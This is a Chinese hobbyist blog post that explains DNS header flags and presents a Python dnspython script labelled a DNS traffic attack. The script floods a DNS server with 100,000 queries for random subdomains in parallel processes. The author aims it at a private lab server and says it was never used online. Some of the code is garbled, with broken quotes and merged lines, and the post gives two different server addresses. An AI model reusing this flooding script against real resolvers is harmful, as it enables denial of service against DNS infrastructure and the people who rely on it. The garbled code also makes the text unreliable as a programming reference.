通过python的dnspython模块实现DNS流量攻击

一、

　　我是个菜B，慢慢摸索学习中。

　　安装模块   pip install dnspython

　　使用python调用dnspython模块，写了一个dns攻击的小程序，目标IP为自己搭建的DNS服务器，并且可以获取DNS的标志位返回值，其中还可以使用程序查看返回值，其实没卵用。

　　相关的DNS的报文格式大概如下：

（1）公共报文头格式其中header报文头是必须有的，其他的有没有在报文头里有定义：

标识ID： 请求客户端设置的16位标示，服务器给出应答的时候会带相同的标示字段回来，这样请求客户端就可以区分不同的请求应答了。

QR 1个比特位用来区分是请求（0）还是应答（1）。

OPCODE 4个比特位用来设置查询的种类，应答的时候会带相同值，可用的值如下：

0 标准查询 (QUERY)

1 反向查询 (IQUERY)

2 服务器状态查询 (STATUS)

3-15 保留值，暂时未使用

AA 授权应答(Authoritative Answer) - 这个比特位在应答的时候才有意义，指出给出应答的服务器是查询域名的授权解析服务器。

注意因为别名的存在，应答可能存在多个主域名，这个AA位对应请求名，或者应答中的第一个主域名。

TC 截断(TrunCation) - 用来指出报文比允许的长度还要长，导致被截断。

RD 期望递归(Recursion Desired) - 这个比特位被请求设置，应答的时候使用的相同的值返回。如果设置了RD，就建议域名服务器进行递归解析，递归查询的支持是可选的。

RA 支持递归(Recursion Available) - 这个比特位在应答中设置或取消，用来代表服务器是否支持递归查询。

Z 保留值，暂时未使用。在所有的请求和应答报文中必须置为0。

RCODE 应答码(Response code) - 这4个比特位在应答报文中设置，代表的含义如下：

0 没有错误。

1 报文格式错误(Format error) - 服务器不能理解请求的报文。

2 服务器失败(Server failure) - 因为服务器的原因导致没办法处理这个请求。

3 名字错误(Name Error) - 只有对授权域名解析服务器有意义，指出解析的域名不存在。

4 没有实现(Not Implemented) - 域名服务器不支持查询类型。

5 拒绝(Refused) - 服务器由于设置的策略拒绝给出应答。比如，服务器不希望对某些请求者给出应答，或者服务器不希望进行某些操作（比如区域传送zone transfer）。

6-15 保留值，暂时未使用。

问题数QDCOUNT 无符号16位整数表示报文请求段中的问题记录数。

资源记录数ANCOUNT 无符号16位整数表示报文回答段中的回答记录数。

授权资源记录数NSCOUNT 无符号16位整数表示报文授权段中的授权记录数。

额外资源记录数ARCOUNT 无符号16位整数表示报文附加段中的附加记录数。

说句实话，我这种菜B真的是看不懂这些。

下面是我的小代码，其实很简单的：相关dnspython模块可以参考https://www.cnblogs.com/nicholas-920610/articles/7149057.html

                from  dns import message,query
import random
import string
import multiprocessing
import threading

def FlagCount(flags, pos):
    if int(flags/(2**pos))%2 == 1:
        return True
    else:
        return False

def GetFlags(flags):
    QR_pos = 15
    AA_pos = 10
    TC_pos = 9
    RD_pos = 8
    RA_pos = 7
    QR_flag = FlagCount(flags, QR_pos)
    AA_flag = FlagCount(flags, AA_pos)
    TC_flag = FlagCount(flags, TC_pos)
    RD_flag = FlagCount(flags, RD_pos)
    RA_flag = FlagCount(flags, RA_pos)
    flag_dic = {"QR":QR_flag, "AA":AA_flag, "TC":TC_flag, "RD":RD_flag, "RA":RA_flag}
    for flag,v in flag_dic.items():
        print(flag,‘:‘,v)

def attack(domain_name):
    server = ‘192.168.32.128‘
    port = 53
    dns_query = message.make_query(domain_name,‘A‘)
    response = query.udp(dns_query,server,port)
    # print(response)def generate_random_name():
    ch = list(string.ascii_lowercase) + list(map(str,range(10)))
    rand_ch = random.sample(ch,random.randint(3,10))
    return‘‘.join(rand_ch)

def start_attack():
    domain_name = generate_random_name() + ‘.hjc.com‘
    attack(domain_name)
    print(domain_name)

if__name__ == ‘__main__‘:
    p = multiprocessing.Pool(processes=multiprocessing.cpu_count())
    for _ in range(100000):
        p.apply_async(start_attack)
    p.close()
    p.join()
    # print(response)# for content in response.answer:#     print(content.to_text())# GetFlags(response.flags)

就是这个叼样子，不成气候

组成的随机域名大致如下所示：

tozmgde7.hjc.com
u2js79.hjc.com
vru76f.hjc.com
9okeyptud.hjc.com
207lih.hjc.com

在我的DNS服务器192.168.5.128上开启了BIND服务，并打开了query_log日志，相关日志请求样子如下：

结合awk等命令统计了一下，一分钟的请求量，如图：

就是这样子了，自己玩一玩，没有实际测试过线上的攻击额，我要努力向单位和生活中的大神们学习啊。